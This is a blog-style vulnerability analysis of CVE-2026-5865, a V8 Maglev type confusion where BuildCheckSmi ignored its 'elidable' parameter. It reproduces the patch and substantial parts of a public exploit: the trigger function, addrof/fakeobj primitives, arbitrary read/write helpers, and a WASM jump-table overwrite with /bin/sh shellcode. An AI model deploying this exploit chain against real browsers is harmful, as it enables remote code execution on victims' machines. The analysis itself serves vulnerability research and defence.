//nefariousplan

CVE-2026-5865: Maglev's BuildCheckSmi Took a Parameter Named `elidable` and Did Not Read It

pattern

cve

proof of concept

The patch for CVE-2026-5865 is one boolean operand. Maglev's BuildCheckSmi is the function that emits a runtime "is this value a small integer" check before code that depends on the answer. The function takes a parameter named elidable that callers set to false when they need the check emitted as a real runtime test, not optimized away on the strength of static analysis. Pre-patch, the function's body did not reference elidable. The parameter was received and not read.

The Chrome 147.0.7727.55 release blog calls this a Type Confusion in V8. It is. The mechanism is that Maglev was deciding whether to elide Smi checks using its typer's confidence alone, and the typer was confident about a value whose runtime representation was a heap-allocated double.

The fix is && elidable

V8 commit 433b2912c5cb, authored by Darius Mercadier on 12 March 2026, closes Chromium issue 491884710. It is one line in src/maglev/maglev-graph-builder.cc:

 ReduceResult MaglevGraphBuilder::BuildCheckSmi(
     ValueNode* object, bool elidable,
     AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
-  if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
+  if (object->StaticTypeIs(broker(), NodeType::kSmi) && elidable) return object;

BuildCheckSmi's contract is "emit IR for a Smi check on object, unless the caller has told you the check can be omitted." Returning object unchanged is the elision path: no check IR is appended, downstream code consumes object directly. The caller communicates whether elision is allowed through the elidable parameter. Pre-patch, the function never consulted that parameter. Whenever its own static-type oracle said "this node's static type is already Smi," the function returned the object and skipped the check, regardless of what the caller had asked for.

Maglev's callers pass elidable=false at sites where the Smi check is part of the deopt scaffolding rather than a pure type assertion, places where the value's static type is supposed to be a Smi but the surrounding compiler state has not yet stabilised. At those sites, the runtime check is the safety net: if the value at runtime is not a Smi, deopt out of compiled code into the interpreter rather than continuing with a wrong assumption. Eliding the check means continuing without the safety net.

The pre-patch line treats the static-type oracle as if it were the elidability oracle. They are not the same oracle. The typer answers "what does my analysis say about this value." Elidability answers a different question: "does the caller trust my analysis enough to be the only thing standing between this value and the next instruction." Conflating them means the typer's confidence becomes the only authority on whether the runtime check is needed, and the typer can be wrong.

The PoC's gadget is the textbook static-type-elision shape

Crihexe's PoC ships as a single exploit.js for the d8 standalone shell. The gadget that triggers the bug is twelve lines:

function blah(o, a, b, x) {
  let y;
  if (a) {
    y = x + 1;
  } else {
    y = 1;
  }

  const t = y | 0;

  let z;
  if (b) {
    z = y;
  } else {
    z = 1;
  }

  o.x = z;
  return t;
}

The shape is two phi nodes around a truncation. Phi A merges x + 1 and 1 into y. The expression t = y | 0 is a 32-bit truncating coercion: V8's typer treats y | 0 as Int32, which propagates a representation hint back over y. Phi B merges y and 1 into z. By the time the typer reaches o.x = z, z's static type has been narrowed to "Smi-or-narrower-Int32," which on V8's pointer-compressed builds is the same lattice node as Smi.

The bug input is MAX_SMI = 0x3fffffff, the largest 31-bit Smi on a pointer-compressed V8 build. Calling blah(obj, true, true, MAX_SMI) computes y = 0x40000000. That value does not fit in a Smi: V8 boxes it into a HeapNumber. The typer's narrowing was an over-promise. Phi B propagates a HeapNumber-pointer-tagged value where the static type says Smi.

When Maglev compiles the o.x = z store, it asks for a Smi check on z to validate the field's inline cache expectation. That call site passes elidable=false: the IC needs the check actually emitted, because the field's representation was learned as Smi from earlier traffic and a non-Smi value must trigger deopt rather than corrupt the field. Pre-patch, BuildCheckSmi looks at z's static type, sees Smi, and returns z unmodified. No deopt-bearing check is emitted. The store proceeds with whatever bit pattern is in z's register, which at runtime is a tagged HeapNumber pointer, and writes it into the slot that earlier code learned to read as Smi.

The PoC's warmup loop runs the bug-free combinations (blah(warmup, true, true, i & 1023) and friends) twelve hundred times to drive Maglev to compile blah. The single trigger call follows. Then a heap spray of fake double arrays paints object layouts at addresses the now-corrupted property slot can be made to point at, and obj.x is read back not as a Smi but as a JSArray reference into the spray. The spray's first usable shape is a PackedDoubleElements array whose backing overlaps a real array the exploit holds onto, which gives the standard addrof and fakeobj primitive in the next twenty lines:

function addrof(v) {
  backing[2] = 0
  fake[0] = v
  return ftoi(backing[2]) & 0xffffffffn
}

function fakeobj(addr) {
  backing[2] = itof(addr)
  return fake[0]
}

The hard work is over by line 148 of the exploit. The bug has been monetised into a primitive every V8 exploit since 2017 has used.

From Smi-check elision to renderer RCE is a fixed cookbook

The rest of the file is a recipe Google has been shipping the surface area for since 2017. It runs without modification because none of its preconditions have been removed.

The first stage builds an arbitrary-read-write primitive out of addrof and fakeobj. The exploit constructs a fake PackedDoubleElements array header in the controlled backing buffer, with EMPTY_FIXED_ARRAY as the properties slot, the well-known PACKED_DOUBLE_ARRAY_MAP compressed-pointer constant as the map, and an attacker-chosen elements pointer in the layout word. Pointing fakeobj at that header yields a real JavaScript array whose elements pointer the attacker controls. Mutating the layout word between reads turns the elements pointer into a roving 64-bit cursor. That gives weakRead64 and weakWrite64, with the only catch that the cursor is read from a typed-array-like through a length-aliased path and is therefore lossy on certain alignments:

function weakRead64(rawAddr) {
  setArbElements(rawAddr)
  return ftoi(arb[0])
}

function weakWrite64(rawAddr, value) {
  setArbElements(rawAddr)
  arb[0] = itof(value)
}

The second stage promotes the weak primitive to a strong one by walking an ArrayBuffer victim, finding its backing_store field by scanning offsets 0x10 through 0x38 for an aligned pointer above 0x10000000000n, and overwriting that field through the weak primitive on a second ArrayBuffer whose DataView becomes a clean read-write window into any memory the attacker names. The PoC verifies the swap by writing two known sentinel qwords and reading them back through the DataView. From this point the exploit has unrestricted access to the renderer's address space.

The third stage is the WebAssembly jump table. V8 compiles a tiny WASM module:

const wasmCode = new Uint8Array([
  0, 97, 115, 109, 1, 0, 0, 0,
  1, 5, 1, 96, 0, 1, 127,
  3, 2, 1, 0,
  7, 8, 1, 4, 109, 97, 105, 110, 0, 0,
  10, 6, 1, 4, 0, 65, 42, 11
])
const wasmModule = new WebAssembly.Module(wasmCode)
const wasmInstance = new WebAssembly.Instance(wasmModule)
const wasmMain = wasmInstance.exports.main

The exploit then walks the instance's trusted_data field at offset 0x8, reads jump_table_start at offset 0x28, decodes the relative jump stub at the table entry to get the WASM function's actual code address, and overwrites four eight-byte words with a Linux x86_64 execve("/bin/sh", NULL, NULL) shellcode. Calling wasmMain() executes the shellcode in place because the WASM jump table page is RWX:

strongWrite64(wasmCodeEntry + 0x00n, 0xbb48c03148d23148n)
strongWrite64(wasmCodeEntry + 0x08n, 0x0068732f6e69622fn)
strongWrite64(wasmCodeEntry + 0x10n, 0x89485750e7894853n)
strongWrite64(wasmCodeEntry + 0x18n, 0x909090050f3bb0e6n)
print("spawning /bin/sh")
wasmMain()

The WASM jump table is RWX because making it not-RWX would impose a measurable cost on WASM JIT performance. V8's "JIT permissions" project and the V8 sandbox project are both attempts to close the corner. Neither is universally deployed. Until they are, every successful Maglev or TurboFan type-confusion that yields renderer arbitrary-read-write reaches /bin/sh through this same final stage. The PoC's last forty lines are a fixed cookbook that has worked since 2017 because the surface that makes them work has not been removed.

Maglev shipped in 2023. The bug class was older than Maglev.

V8 currently runs three optimising tiers. Sparkplug (baseline), Maglev (mid-tier, since 2023), TurboFan (top-tier). All three reason about types to decide which checks they can omit. TurboFan has shipped this bug class repeatedly, the static type analysis claims a value is a Smi (or an Int32, or a HeapObject of a particular map), the runtime value is not, the elision lets the wrong-shape value through, type confusion at the next consumer. The list of TurboFan CVEs whose root cause is "the typer was over-confident and the lowering pass elided a check on its word" is long enough to be a recognised genre. The fixes are consistent in shape: tighten the condition under which the elision fires, or insert a parameter the caller can use to demand the check anyway.

Maglev shipped in 2023 with that lesson supposedly internalised. BuildCheckSmi even has the parameter. The parameter's name is elidable. Its presence in the function signature is evidence the design recognised the pattern. The function body, pre-patch, was the version of the check that did not exist before someone wrote that parameter. Every caller that passed elidable=false was passing a flag the function ignored.

This is the rhythm a Design Debt Driver produces. A component whose architecture is a fertile substrate for one specific bug shape, in this case "static type analysis is the only gate before a check that should have been emitted." TurboFan produced this class for years. Each fix was real; the class kept appearing. Maglev, written separately by overlapping authors targeting the same JavaScript semantics, started producing the same class two years after it shipped. The shipping date moves; the design holds the primitive. CVE-2026-5865 is one symptom. The container that produces the symptoms is the optimising tier whose performance is bought by trusting its own typer.

The Chrome release notes describe the patched mechanism as "Type Confusion in V8 in Google Chrome prior to 147.0.7727.55." That is true. A fuller description is that Google ships an optimising compiler whose Smi-check-emission function was, between the day it gained an elidable parameter and the day Darius Mercadier landed && elidable, eliding checks the caller had asked it not to elide. The CVE record names the symptom. The repository names the parameter.

PoC: Crihexe/v8-poc-CVE-2026-5865

BuildCheckSmi had a parameter named elidable. Pre-patch, the function did not read it.